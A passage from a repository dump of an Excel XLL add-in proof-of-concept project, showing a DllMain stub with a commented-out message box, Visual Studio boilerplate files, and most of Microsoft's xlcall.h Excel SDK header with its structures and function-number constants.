| switch (ul_reason_for_call) 12 | { 13 | case DLL_PROCESS_ATTACH: 14 | 15 | //MessageBox(NULL, "Hello from DllMain!", "Hai!", 0); 16 | 17 | case DLL_THREAD_ATTACH: 18 | case DLL_THREAD_DETACH: 19 | case DLL_PROCESS_DETACH: 20 | break; 21 | } 22 | return TRUE; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/res/XLL_POC.rc2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/res/XLL_POC.rc2 -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // XLL_POC.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | 8 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | #include "targetver.h" 8 | 9 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 10 | // Windows Header Files: 11 | #include 12 | #include 13 | #include "xlcall.h" -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/xlcall.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** Microsoft Excel Developer's Toolkit 3 | ** Version 15.0 4 | ** 5 | ** File: INCLUDE\XLCALL.H 6 | ** Description: Header file for for Excel callbacks 7 | ** Platform: Microsoft Windows 8 | ** 9 | ** DEPENDENCY: 10 | ** Include before you include this. 11 | ** 12 | ** This file defines the constants and 13 | ** data types which are used in the 14 | ** Microsoft Excel C API. 15 | ** 16 | */ 17 | 18 | #pragma once 19 | 20 | 21 | 22 | /* 23 | ** XL 12 Basic Datatypes 24 | **/ 25 | 26 | typedef INT32 BOOL; /* Boolean */ 27 | typedef WCHAR XCHAR; /* Wide Character */ 28 | typedef INT32 RW; /* XL 12 Row */ 29 | typedef INT32 COL; /* XL 12 Column */ 30 | typedef DWORD_PTR IDSHEET; /* XL12 Sheet ID */ 31 | 32 | /* 33 | ** XLREF structure 34 | ** 35 | ** Describes a single rectangular reference. 36 | */ 37 | 38 | typedef struct xlref 39 | { 40 | WORD rwFirst; 41 | WORD rwLast; 42 | BYTE colFirst; 43 | BYTE colLast; 44 | } XLREF, *LPXLREF; 45 | 46 | 47 | /* 48 | ** XLMREF structure 49 | ** 50 | ** Describes multiple rectangular references. 51 | ** This is a variable size structure, default 52 | ** size is 1 reference. 53 | */ 54 | 55 | typedef struct xlmref 56 | { 57 | WORD count; 58 | XLREF reftbl[1]; /* actually reftbl[count] */ 59 | } XLMREF, *LPXLMREF; 60 | 61 | 62 | /* 63 | ** XLREF12 structure 64 | ** 65 | ** Describes a single XL 12 rectangular reference. 66 | */ 67 | 68 | typedef struct xlref12 69 | { 70 | RW rwFirst; 71 | RW rwLast; 72 | COL colFirst; 73 | COL colLast; 74 | } XLREF12, *LPXLREF12; 75 | 76 | 77 | /* 78 | ** XLMREF12 structure 79 | ** 80 | ** Describes multiple rectangular XL 12 references. 81 | ** This is a variable size structure, default 82 | ** size is 1 reference. 83 | */ 84 | 85 | typedef struct xlmref12 86 | { 87 | WORD count; 88 | XLREF12 reftbl[1]; /* actually reftbl[count] */ 89 | } XLMREF12, *LPXLMREF12; 90 | 91 | 92 | /* 93 | ** FP structure 94 | ** 95 | ** Describes FP structure. 96 | */ 97 | 98 | typedef struct _FP 99 | { 100 | unsigned short int rows; 101 | unsigned short int columns; 102 | double array[1]; /* Actually, array[rows][columns] */ 103 | } FP; 104 | 105 | /* 106 | ** FP12 structure 107 | ** 108 | ** Describes FP structure capable of handling the big grid. 109 | */ 110 | 111 | typedef struct _FP12 112 | { 113 | INT32 rows; 114 | INT32 columns; 115 | double array[1]; /* Actually, array[rows][columns] */ 116 | } FP12; 117 | 118 | 119 | /* 120 | ** XLOPER structure 121 | ** 122 | ** Excel's fundamental data type: can hold data 123 | ** of any type. Use "R" as the argument type in the 124 | ** REGISTER function. 125 | **/ 126 | 127 | typedef struct xloper 128 | { 129 | union 130 | { 131 | double num; /* xltypeNum */ 132 | LPSTR str; /* xltypeStr */ 133 | #ifdef __cplusplus 134 | WORD xbool; /* xltypeBool */ 135 | #else 136 | WORD bool; /* xltypeBool */ 137 | #endif 138 | WORD err; /* xltypeErr */ 139 | short int w; /* xltypeInt */ 140 | struct 141 | { 142 | WORD count; /* always = 1 */ 143 | XLREF ref; 144 | } sref; /* xltypeSRef */ 145 | struct 146 | { 147 | XLMREF *lpmref; 148 | IDSHEET idSheet; 149 | } mref; /* xltypeRef */ 150 | struct 151 | { 152 | struct xloper *lparray; 153 | WORD rows; 154 | WORD columns; 155 | } array; /* xltypeMulti */ 156 | struct 157 | { 158 | union 159 | { 160 | short int level; /* xlflowRestart */ 161 | short int tbctrl; /* xlflowPause */ 162 | IDSHEET idSheet; /* xlflowGoto */ 163 | } valflow; 164 | WORD rw; /* xlflowGoto */ 165 | BYTE col; /* xlflowGoto */ 166 | BYTE xlflow; 167 | } flow; /* xltypeFlow */ 168 | struct 169 | { 170 | union 171 | { 172 | BYTE *lpbData; /* data passed to XL */ 173 | HANDLE hdata; /* data returned from XL */ 174 | } h; 175 | long cbData; 176 | } bigdata; /* xltypeBigData */ 177 | } val; 178 | WORD xltype; 179 | } XLOPER, *LPXLOPER; 180 | 181 | /* 182 | ** XLOPER12 structure 183 | ** 184 | ** Excel 12's fundamental data type: can hold data 185 | ** of any type. Use "U" as the argument type in the 186 | ** REGISTER function. 187 | **/ 188 | 189 | typedef struct xloper12 190 | { 191 | union 192 | { 193 | double num; /* xltypeNum */ 194 | XCHAR *str; /* xltypeStr */ 195 | BOOL xbool; /* xltypeBool */ 196 | int err; /* xltypeErr */ 197 | int w; 198 | struct 199 | { 200 | WORD count; /* always = 1 */ 201 | XLREF12 ref; 202 | } sref; /* xltypeSRef */ 203 | struct 204 | { 205 | XLMREF12 *lpmref; 206 | IDSHEET idSheet; 207 | } mref; /* xltypeRef */ 208 | struct 209 | { 210 | struct xloper12 *lparray; 211 | RW rows; 212 | COL columns; 213 | } array; /* xltypeMulti */ 214 | struct 215 | { 216 | union 217 | { 218 | int level; /* xlflowRestart */ 219 | int tbctrl; /* xlflowPause */ 220 | IDSHEET idSheet; /* xlflowGoto */ 221 | } valflow; 222 | RW rw; /* xlflowGoto */ 223 | COL col; /* xlflowGoto */ 224 | BYTE xlflow; 225 | } flow; /* xltypeFlow */ 226 | struct 227 | { 228 | union 229 | { 230 | BYTE *lpbData; /* data passed to XL */ 231 | HANDLE hdata; /* data returned from XL */ 232 | } h; 233 | long cbData; 234 | } bigdata; /* xltypeBigData */ 235 | } val; 236 | DWORD xltype; 237 | } XLOPER12, *LPXLOPER12; 238 | 239 | /* 240 | ** XLOPER and XLOPER12 data types 241 | ** 242 | ** Used for xltype field of XLOPER and XLOPER12 structures 243 | */ 244 | 245 | #define xltypeNum 0x0001 246 | #define xltypeStr 0x0002 247 | #define xltypeBool 0x0004 248 | #define xltypeRef 0x0008 249 | #define xltypeErr 0x0010 250 | #define xltypeFlow 0x0020 251 | #define xltypeMulti 0x0040 252 | #define xltypeMissing 0x0080 253 | #define xltypeNil 0x0100 254 | #define xltypeSRef 0x0400 255 | #define xltypeInt 0x0800 256 | 257 | #define xlbitXLFree 0x1000 258 | #define xlbitDLLFree 0x4000 259 | 260 | #define xltypeBigData (xltypeStr | xltypeInt) 261 | 262 | 263 | /* 264 | ** Error codes 265 | ** 266 | ** Used for val.err field of XLOPER and XLOPER12 structures 267 | ** when constructing error XLOPERs and XLOPER12s 268 | */ 269 | 270 | #define xlerrNull 0 271 | #define xlerrDiv0 7 272 | #define xlerrValue 15 273 | #define xlerrRef 23 274 | #define xlerrName 29 275 | #define xlerrNum 36 276 | #define xlerrNA 42 277 | #define xlerrGettingData 43 278 | 279 | 280 | /* 281 | ** Flow data types 282 | ** 283 | ** Used for val.flow.xlflow field of XLOPER and XLOPER12 structures 284 | ** when constructing flow-control XLOPERs and XLOPER12s 285 | **/ 286 | 287 | #define xlflowHalt 1 288 | #define xlflowGoto 2 289 | #define xlflowRestart 8 290 | #define xlflowPause 16 291 | #define xlflowResume 64 292 | 293 | 294 | /* 295 | ** Return codes 296 | ** 297 | ** These values can be returned from Excel4(), Excel4v(), Excel12() or Excel12v(). 298 | */ 299 | 300 | #define xlretSuccess 0 /* success */ 301 | #define xlretAbort 1 /* macro halted */ 302 | #define xlretInvXlfn 2 /* invalid function number */ 303 | #define xlretInvCount 4 /* invalid number of arguments */ 304 | #define xlretInvXloper 8 /* invalid OPER structure */ 305 | #define xlretStackOvfl 16 /* stack overflow */ 306 | #define xlretFailed 32 /* command failed */ 307 | #define xlretUncalced 64 /* uncalced cell */ 308 | #define xlretNotThreadSafe 128 /* not allowed during multi-threaded calc */ 309 | #define xlretInvAsynchronousContext 256 /* invalid asynchronous function handle */ 310 | #define xlretNotClusterSafe 512 /* not supported on cluster */ 311 | 312 | 313 | /* 314 | ** XLL events 315 | ** 316 | ** Passed in to an xlEventRegister call to register a corresponding event. 317 | */ 318 | 319 | #define xleventCalculationEnded 1 /* Fires at the end of calculation */ 320 | #define xleventCalculationCanceled 2 /* Fires when calculation is interrupted */ 321 | 322 | 323 | /* 324 | ** Function prototypes 325 | */ 326 | 327 | #ifdef __cplusplus 328 | extern "C" { 329 | #endif 330 | 331 | int _cdecl Excel4(int xlfn, LPXLOPER operRes, int count, ...); 332 | /* followed by count LPXLOPERs */ 333 | 334 | int pascal Excel4v(int xlfn, LPXLOPER operRes, int count, LPXLOPER opers[]); 335 | 336 | int pascal XLCallVer(void); 337 | 338 | long pascal LPenHelper(int wCode, VOID *lpv); 339 | 340 | int _cdecl Excel12(int xlfn, LPXLOPER12 operRes, int count, ...); 341 | /* followed by count LPXLOPER12s */ 342 | 343 | int pascal Excel12v(int xlfn, LPXLOPER12 operRes, int count, LPXLOPER12 opers[]); 344 | 345 | #ifdef __cplusplus 346 | } 347 | #endif 348 | 349 | 350 | /* 351 | ** Cluster Connector Async Callback 352 | */ 353 | 354 | typedef int (CALLBACK *PXL_HPC_ASYNC_CALLBACK)(LPXLOPER12 operAsyncHandle, LPXLOPER12 operReturn); 355 | 356 | 357 | /* 358 | ** Cluster connector entry point return codes 359 | */ 360 | 361 | #define xlHpcRetSuccess 0 362 | #define xlHpcRetSessionIdInvalid -1 363 | #define xlHpcRetCallFailed -2 364 | 365 | 366 | /* 367 | ** Function number bits 368 | */ 369 | 370 | #define xlCommand 0x8000 371 | #define xlSpecial 0x4000 372 | #define xlIntl 0x2000 373 | #define xlPrompt 0x1000 374 | 375 | 376 | /* 377 | ** Auxiliary function numbers 378 | ** 379 | ** These functions are available only from the C API, 380 | ** not from the Excel macro language. 381 | */ 382 | 383 | #define xlFree (0 | xlSpecial) 384 | #define xlStack (1 | xlSpecial) 385 | #define xlCoerce (2 | xlSpecial) 386 | #define xlSet (3 | xlSpecial) 387 | #define xlSheetId (4 | xlSpecial) 388 | #define xlSheetNm (5 | xlSpecial) 389 | #define xlAbort (6 | xlSpecial) 390 | #define xlGetInst (7 | xlSpecial) /* Returns application's hinstance as an integer value, supported on 32-bit platform only */ 391 | #define xlGetHwnd (8 | xlSpecial) 392 | #define xlGetName (9 | xlSpecial) 393 | #define xlEnableXLMsgs (10 | xlSpecial) 394 | #define xlDisableXLMsgs (11 | xlSpecial) 395 | #define xlDefineBinaryName (12 | xlSpecial) 396 | #define xlGetBinaryName (13 | xlSpecial) 397 | /* GetFooInfo are valid only for calls to LPenHelper */ 398 | #define xlGetFmlaInfo (14 | xlSpecial) 399 | #define xlGetMouseInfo (15 | xlSpecial) 400 | #define xlAsyncReturn (16 | xlSpecial) /*Set return value from an asynchronous function call*/ 401 | #define xlEventRegister (17 | xlSpecial) /*Register an XLL event*/ 402 | #define xlRunningOnCluster (18 | xlSpecial) /*Returns true if running on Compute Cluster*/ 403 | #define xlGetInstPtr (19 | xlSpecial) /* Returns application's hinstance as a handle, supported on both 32-bit and 64-bit platforms */ 404 | 405 | /* edit modes */ 406 | #define xlModeReady 0 // not in edit mode 407 | #define xlModeEnter 1 // enter mode 408 | #define xlModeEdit 2 // edit mode 409 | #define xlModePoint 4 // point mode 410 | 411 | /* document(page) types */ 412 | #define dtNil 0x7f // window is not a sheet, macro, chart or basic 413 | // OR window is not the selected window at idle state 414 | #define dtSheet 0 // sheet 415 | #define dtProc 1 // XLM macro 416 | #define dtChart 2 // Chart 417 | #define dtBasic 6 // VBA 418 | 419 | /* hit test codes */ 420 | #define htNone 0x00 // none of below 421 | #define htClient 0x01 // internal for "in the client are", should never see 422 | #define htVSplit 0x02 // vertical split area with split panes 423 | #define htHSplit 0x03 // horizontal split area 424 | #define htColWidth 0x04 // column width adjuster area 425 | #define htRwHeight 0x05 // row height adjuster area 426 | #define htRwColHdr 0x06 // the intersection of row and column headers 427 | #define htObject 0x07 // the body of an object 428 | // the following are for size handles of draw objects 429 | #define htTopLeft 0x08 430 | #define htBotLeft 0x09 431 | #define htLeft 0x0A 432 | #define htTopRight 0x0B 433 | #define htBotRight 0x0C 434 | #define htRight 0x0D 435 | #define htTop 0x0E 436 | #define htBot 0x0F 437 | // end size handles 438 | #define htRwGut 0x10 // row area of outline gutter 439 | #define htColGut 0x11 // column area of outline gutter 440 | #define htTextBox 0x12 // body of a text box (where we shouw I-Beam cursor) 441 | #define htRwLevels 0x13 // row levels buttons of outline gutter 442 | #define htColLevels 0x14 // column levels buttons of outline gutter 443 | #define htDman 0x15 // the drag/drop handle of the selection 444 | #define htDmanFill 0x16 // the auto-fill handle of the selection 445 | #define htXSplit 0x17 // the intersection of the horz & vert pane splits 446 | #define htVertex 0x18 // a vertex of a polygon draw object 447 | #define htAddVtx 0x19 // htVertex in add a vertex mode 448 | #define htDelVtx 0x1A // htVertex in delete a vertex mode 449 | #define htRwHdr 0x1B // row header 450 | #define htColHdr 0x1C // column header 451 | #define htRwShow 0x1D // Like htRowHeight except means grow a hidden column 452 | #define htColShow 0x1E // column version of htRwShow 453 | #define htSizing 0x1F // Internal use only 454 | #define htSxpivot 0x20 // a drag/drop tile in a pivot table 455 | #define htTabs 0x21 // the sheet paging tabs 456 | #define htEdit 0x22 // Internal use only 457 | 458 | typedef struct _fmlainfo 459 | { 460 | int wPointMode; // current edit mode. 0 => rest of struct undefined 461 | int cch; // count of characters in formula 462 | char *lpch; // pointer to formula characters. READ ONLY!!! 463 | int ichFirst; // char offset to start of selection 464 | int ichLast; // char offset to end of selection (may be > cch) 465 | int ichCaret; // char offset to blinking caret 466 | } FMLAINFO; 467 | 468 | typedef struct _mouseinfo 469 | { 470 | /* input section */ 471 | HWND hwnd; // window to get info on 472 | POINT pt; // mouse position to get info on 473 | 474 | /* output section */ 475 | int dt; // document(page) type 476 | int ht; // hit test code 477 | int rw; // row @ mouse (-1 if #n/a) 478 | int col; // col @ mouse (-1 if #n/a) 479 | } MOUSEINFO; 480 | 481 | 482 | 483 | /* 484 | ** User defined function 485 | ** 486 | ** First argument should be a function reference. 487 | */ 488 | 489 | #define xlUDF 255 490 | 491 | 492 | /* 493 | ** Built-in Excel functions and command equivalents 494 | */ 495 | 496 | 497 | // Excel function numbers 498 | 499 | #define xlfCount 0 500 | #define xlfIsna 2 501 | #define xlfIserror 3 502 | #define xlfSum 4 503 | #define xlfAverage 5 504 | #define xlfMin 6 505 | #define xlfMax 7 506 | #define xlfRow 8 507 | #define xlfColumn 9 508 | #define xlfNa 10 509 | #define xlfNpv 11 510 | #define xlfStdev 12 511 | #define xlfDollar 13 512 | #define xlfFixed 14 513 | #define xlfSin 15 514 | #define xlfCos 16 515 | #define xlfTan 17 516 | #define xlfAtan 18 517 | #define xlfPi 19 518 | #define xlfSqrt 20 519 | #define xlfExp 21 520 | #define xlfLn 22 521 | #define xlfLog10 23 522 | #define xlfAbs 24 523 | #define xlfInt 25 524 | #define xlfSign 26 525 | #define xlfRound 27 526 | #define xlfLookup 28 527 | #define xlfIndex 29 528 | #define xlfRept 30 529 | #define xlfMid 31 530 | #define xlfLen 32 531 | #define xlfValue 33 532 | #define xlfTrue 34 533 | #define xlfFalse 35 534 | #define xlfAnd 36 535 | #define xlfOr 37 536 | #define xlfNot 38 537 | #define xlfMod 39 538 | #define xlfDcount 40 539 | #define xlfDsum 41 540 | #define xlfDaverage 42 541 | #define xlfDmin 43 542 | #define xlfDmax 44 543 | #define xlfDstdev 45 544 | #define xlfVar 46 545 | #define xlfDvar 47 546 | #define xlfText 48 547 | #define xlfLinest 49 548 | #define xlfTrend 50 549 | #define xlfLogest 51 550 | #define xlfGrowth 52 551 | #define xlfGoto 53 552 | #define xlfHalt 54 553 | #define xlfPv 56 554 | #define xlfFv 57 555 | #define xlfNper 58 556 | #define xlfPmt 59 557 | #define xlfRate 60 558 | #define xlfMirr 61 559 | #define xlfIrr 62 560 | #define xlfRand 63 561 | #define xlfMatch 64 562 | #define xlfDate 65 563 | #define xlfTime 66 564 | #define xlfDay 67 565 | #define xlfMonth 68 566 | #define xlfYear 69 567 | #define xlfWeekday 70 568 | #define xlfHour 71 569 | #define xlfMinute 72 570 | #define xlfSecond 73 571 | #define xlfNow 74 572 | #define xlfAreas 75 573 | #define xlfRows 76 574 | #define xlfColumns 77 575 | #define xlfOffset 78 576 | #define xlfAbsref 79 577 | #define xlfRelref 80 578 | #define xlfArgument 81 579 | #define xlfSearch 82 580 | #define xlfTranspose 83 581 | #define xlfError 84 582 | #define xlfStep 85 583 | #define xlfType 86 584 | #define xlfEcho 87 585 | #define xlfSetName 88 586 | #define xlfCaller 89 587 | #define xlfDeref 90 588 | #define xlfWindows 91 589 | #define xlfSeries 92 590 | #define xlfDocuments 93 591 | #define xlfActiveCell 94 592 | #define xlfSelection 95 593 | #define xlfResult 96 594 | #define xlfAtan2 97 595 | #define xlfAsin 98 596 | #define xlfAcos 99 597 | #define xlfChoose 100 598 | #define xlfHlookup 101 599 | #define xlfVlookup 102 600 | #define xlfLinks 103 601 | #define xlfInput 104 602 | #define xlfIsref 105 603 | #define xlfGetFormula 106 604 | #define xlfGetName 107 605 | #define xlfSetValue 108 606 | #define xlfLog 109 607 | #define xlfExec 110 608 | #define xlfChar 111 609 | #define xlfLower 112 610 | #define xlfUpper 113 611 | #define xlfProper 114 612 | #define xlfLeft 115 613 | #define xlfRight 116 614 | #define xlfExact 117 615 | #define xlfTrim 118 616 | #define xlfReplace 119 617 | #define xlfSubstitute 120 618 | #define xlfCode 121 619 | #define xlfNames 122 620 | #define xlfDirectory 123 621 | #define xlfFind 124 622 | #define xlfCell 125 623 | #define xlfIserr 126 624 | #define xlfIstext 127 625 | #define xlfIsnumber 128 626 | #define xlfIsblank 129 627 | #define xlfT 130 628 | #define xlfN 131 629 | #define xlfFopen 132 630 | #define xlfFclose 133 631 | #define xlfFsize 134 632 | #define xlfFreadln 135 633 | #define xlfFread 136 634 | #define xlfFwriteln 137 635 | #define xlfFwrite 138 636 | #define xlfFpos 139 637 | #define xlfDatevalue 140 638 | #define xlfTimevalue 141 639 | #define xlfSln 142 640 | #define xlfSyd 143 641 | #define xlfDdb 144 642 | #define xlfGetDef 145 643 | #define xlfReftext 146 644 | #define xlfTextref 147 645 | #define xlfIndirect 148 646 | #define xlfRegister 149 647 | #define xlfCall 150 648 | #define xlfAddBar 151 649 | #define xlfAddMenu 152 650 | #define xlfAddCommand 153 651 | #define xlfEnableCommand 154 652 | #define xlfCheckCommand 155 653 | #define xlfRenameCommand 156 654 | #define xlfShowBar 157 655 | #define xlfDeleteMenu 158 656 | #define xlfDeleteCommand 159 657 | #define xlfGetChartItem 160 658 | #define xlfDialogBox 161 659 | #define xlfClean 162 660 | #define xlfMdeterm 163 661 | #define xlfMinverse 164 662 | #define xlfMmult 165 663 | #define xlfFiles 166 664 | #define xlfIpmt 167 665 | #define xlfPpmt 168 666 | #define xlfCounta 169 667 | #define xlfCancelKey 170 668 | #define xlfInitiate 175 669 | #define xlfRequest 176 670 | #define xlfPoke 177 671 | #define xlfExecute 178 672 | #define xlfTerminate 179 673 | #define xlfRestart 180 674 | #define xlfHelp 181 675 | #define xlfGetBar 182 676 | #define xlfProduct 183 677 | #define xlfFact 184 678 | #define xlfGetCell 185 679 | #define xlfGetWorkspace 186 680 | #define xlfGetWindow 187 681 | #define xlfGetDocument 188 682 | #define xlfDproduct 189 683 | #define xlfIsnontext 190 684 | #define xlfGetNote 191 685 | #define xlfNote 192 686 | #define xlfStdevp 193 687 | #define xlfVarp 194 688 | #define xlfDstdevp 195 689 | #define xlfDvarp 196 690 | #define xlfTrunc 197 691 | #define xlfIslogical 198 692 | #define xlfDcounta 199 693 | #define xlfDeleteBar 200 694 | #define xlfUnregister 201 695 | #define xlfUsdollar 204 696 | #define xlfFindb 205 697 | #define xlfSearchb 206 698 | #define xlfReplaceb 207 699 | #define xlfLeftb 208 700 | #define xlfRightb 209 701 | #define xlfMidb 210 702 | #define xlfLenb 211 703 | #define xlfRoundup 212 704 | #define xlfRounddown 213 705 | #define xlfAsc 214 706 | #define xlfDbcs 215 707 | #define xlfRank 216 708 | #define xlfAddress 219 709 | #define xlfDays360 220 710 | #define xlfToday 221 711 | #define xlfVdb 222 712 | #define xlfMedian 227 713 | #define xlfSumproduct 228 714 | #define xlfSinh 229 715 | #define xlfCosh 230 716 | #define xlfTanh 231 717 | #define xlfAsinh 232 718 | #define xlfAcosh 233 719 | #define xlfAtanh 234 720 | #define xlfDget 235 721 | #define xlfCreateObject 236 722 | #define xlfVolatile 237 723 | #define xlfLastError 238 724 | #define xlfCustomUndo 239 725 | #define xlfCustomRepeat 240 726 | #define xlfFormulaConvert 241 727 | #define xlfGetLinkInfo 242 728 | #define xlfTextBox 243 729 | #define xlfInfo 244 730 | #define xlfGroup 245 731 | #define xlfGetObject 246 732 | #define xlfDb 247 733 | #define xlfPause 248 734 | #define xlfResume 251 735 | #define xlfFrequency 252 736 | #define xlfAddToolbar 253 737 | #define xlfDeleteToolbar 254 738 | #define xlfResetToolbar 256 739 | #define xlfEvaluate 257 740 | #define xlfGetToolbar 258 741 | #define xlfGetTool 259 742 | #define xlfSpellingCheck 260 743 | #define xlfErrorType 261 744 | #define xlfAppTitle 262 745 | #define xlfWindowTitle 263 746 | #define xlfSaveToolbar 264 747 | #define xlfEnableTool 265 748 | #define xlfPressTool 266 749 | #define Id 267 750 | #define xlfGetWorkbook 268 751 | #define xlfAvedev 269 752 | #define xlfBetadist 270 753 | #define xlfGammaln 271 754 | #define xlfBetainv 272 755 | #define xlfBinomdist 273 756 | #define xlfChidist 274 757 | #define xlfChiinv 275 758 | #define xlfCombin 276 759 | #define xlfConfidence 277 760 | #define xlfCritbinom 278 761 | #define xlfEven 279 762 | #define xlfExpondist 280 763 | #define xlfFdist 281 764 | #define xlfFinv 282 765 | #define xlfFisher 283 766 | #define xlfFisherinv 284 767 | #define xlfFloor 285 768 | #define xlfGammadist 286 769 | #define xlfGammainv 287 770 | #define xlfCeiling 288 771 | #define xlfHypgeomdist 289 772 | #define xlfLognormdist 290 773 | #define xlfLoginv 291 774 | #define xlfNegbinomdist 292 775 | #define xlfNormdist 293 776 | #define xlfNormsdist 294 777 | #define xlfNorminv 295 778 | #define xlfNormsinv 296 779 | #define xlfStandardize 297 780 | #define xlfOdd 298 781 | #define xlfPermut 299 782 | #define xlfPoisson 300 783 | #define xlfTdist 301 784 | #define xlfWeibull 302 785 | #define xlfSumxmy2 303 786 | #define xlfSumx2my2 304 787 | #define xlfSumx2py2 305 788 | #define xlfChitest 306 789 | #define xlfCorrel 307 790 | #define xlfCovar 308 791 | #define xlfForecast 309 792 | #define xlfFtest 310 793 | #define xlfIntercept 311 794 | #define xlfPearson 312 795 | #define xlfRsq 313 796 | #define xlfSteyx 314 797 | #define xlfSlope 315 798 | #define xlfTtest 316 799 | #define xlfProb 317 800 | #define xlfDevsq 318 801 | #define xlfGeomean 319 802 | #define xlfHarmean 320 803 | #define xlfSumsq 321 804 | #define xlfKurt 322 805 | #define xlfSkew 323 806 | #define xlfZtest 324 807 | #define xlfLarge 325 808 | #define xlfSmall 326 809 | #define xlfQuartile 327 810 | #define xlfPercentile 328 811 | #define xlfPercentrank 329 812 | #define xlfMode 330 813 | #define xlfTrimmean 331 814 | #define xlfTinv 332 815 | #define xlfMovieCommand 334 816 | #define xlfGetMovie 335 817 | #define xlfConcatenate 336 818 | #define xlfPower 337 819 | #define xlfPivotAddData 338 820 | #define xlfGetPivotTable 339 821 | #define xlfGetPivotField 340 822 | #define xlfGetPivotItem 341 823 | #define xlfRadians 342 824 | #define xlfDegrees 343 825 | #define xlfSubtotal 344 826 | #define xlfSumif 345 827 | #define xlfCountif 346 828 | #define xlfCountblank 347 829 | #define xlfScenarioGet 348 830 | #define xlfOptionsListsGet 349 831 | #define xlfIspmt 350 832 | #define xlfDatedif 351 833 | #define xlfDatestring 352 834 | #define xlfNumberstring 353 835 | #define xlfRoman 354 836 | #define xlfOpenDialog 355 837 | #define xlfSaveDialog 356 838 | #define xlfViewGet 357 839 | #define xlfGetpivotdata 358 840 | #define xlfHyperlink 359 841 | #define xlfPhonetic 360 842 | #define xlfAveragea 361 843 | #define xlfMaxa 362 844 | #define xlfMina 363 845 | #define xlfStdevpa 364 846 | #define xlfVarpa 365 847 | #define xlfStdeva 366 848 | #define xlfVara 367 849 | #define xlfBahttext 368 850 | #define xlfThaidayofweek 369 851 | #define xlfThaidigit 370 852 | #define xlfThaimonthofyear 371 853 | #define xlfThainumsound 372 854 | #define xlfThainumstring 373 855 | #define xlfThaistringlength 374 856 | #define xlfIsthaidigit 375 857 | #define xlfRoundbahtdown 376 858 | #define xlfRoundbahtup 377 859 | #define xlfThaiyear 378 860 | #define xlfRtd 379 861 | #define xlfCubevalue 380 862 | #define xlfCubemember 381 863 | #define xlfCubememberproperty 382 864 | #define xlfCuberankedmember 383 865 | #define xlfHex2bin 384 866 | #define xlfHex2dec 385 867 | #define xlfHex2oct 386 868 | #define xlfDec2bin 387 869 | #define xlfDec2hex 388 870 | #define xlfDec2oct 389 871 | #define xlfOct2bin 390 872 | #define xlfOct2hex 391 873 | #define xlfOct2dec 392 874 | #define xlfBin2dec 393 875 | #define xlfBin2oct 394 876 | #define xlfBin2hex 395 877 | #define xlfImsub 396 878 | #define xlfImdiv 397 879 | #define xlfImpower 398 880 | #define xlfImabs 399 881 | #define xlfImsqrt 400 882 | #define xlfImln 401 883 | #define xlfImlog2 402 884 | #define xlfImlog10 403 885 | #define xlfImsin 404 886 | #define xlfImcos 405 887 | #define xlfImexp 406 888 | #define xlfImargument 407 889 | #define xlfImconjugate 408 890 | #define xlfImaginary 409 891 | #define xlfImreal 410 892 | #define xlfComplex 411 893 | #define xlfImsum 412 894 | #define xlfImproduct 413 895 | #define xlfSeriessum 414 896 | #define xlfFactdouble 415 897 | #define xlfSqrtpi 416 898 | #define xlfQuotient 417 899 | #define xlfDelta 418 900 | #define xlfGestep 419 901 | #define xlfIseven 420 902 | #define xlfIsodd 421 903 | #define xlfMround 422 904 | #define xlfErf 423 905 | #define xlfErfc 424 906 | #define xlfBesselj 425 907 | #define xlfBesselk 426 908 | #define xlfBessely 427 909 | #define xlfBesseli 428 910 | #define xlfXirr 429 911 | #define xlfXnpv 430 912 | #define xlfPricemat 431 913 | #define xlfYieldmat 432 914 | #define xlfIntrate 433 915 | #define xlfReceived 434 916 | #define xlfDisc 435 917 | #define xlfPricedisc 436 918 | #define xlfYielddisc 437 919 | #define xlfTbilleq 438 920 | #define xlfTbillprice 439 921 | #define xlfTbillyield 440 922 | #define xlfPrice 441 923 | #define xlfYield 442 924 | #define xlfDollarde 443 925 | #define xlfDollarfr 444 926 | #define xlfNominal 445 927 | #define xlfEffect 446 928 | #define xlfCumprinc 447 929 | #define xlfCumipmt 448 930 | #define xlfEdate 449 931 | #define xlfEomonth 450 932 | #define xlfYearfrac 451 933 | #define xlfCoupdaybs 452 934 | #define xlfCoupdays 453 935 | #define xlfCoupdaysnc 454 936 | #define xlfCoupncd 455 937 | #define xlfCoupnum 456 938 | #define xlfCouppcd 457 939 | #define xlfDuration 458 940 | #define xlfMduration 459 941 | #define xlfOddlprice 460 942 | #define xlfOddlyield 461 943 | #define xlfOddfprice 462 944 | #define xlfOddfyield 463 945 | #define xlfRandbetween 464 946 | #define xlfWeeknum 465 947 | #define xlfAmordegrc 466 948 | #define xlfAmorlinc 467 949 | #define xlfConvert 468 950 | #define xlfAccrint 469 951 | #define xlfAccrintm 470 952 | #define xlfWorkday 471 953 | #define xlfNetworkdays 472 954 | #define xlfGcd 473 955 | #define xlfMultinomial 474 956 | #define xlfLcm 475 957 | #define xlfFvschedule 476 958 | #define xlfCubekpimember 477 959 | #define xlfCubeset 478 960 | #define xlfCubesetcount 479 961 | #define xlfIferror 480 962 | #define xlfCountifs 481 963 | #define xlfSumifs 482 964 | #define xlfAverageif 483 965 | #define xlfAverageifs 484 966 | #define xlfAggregate 485 967 | #define xlfBinom_dist 486 968 | #define xlfBinom_inv 487 969 | #define xlfConfidence_norm 488 970 | #define xlfConfidence_t 489 971 | #define xlfChisq_test 490 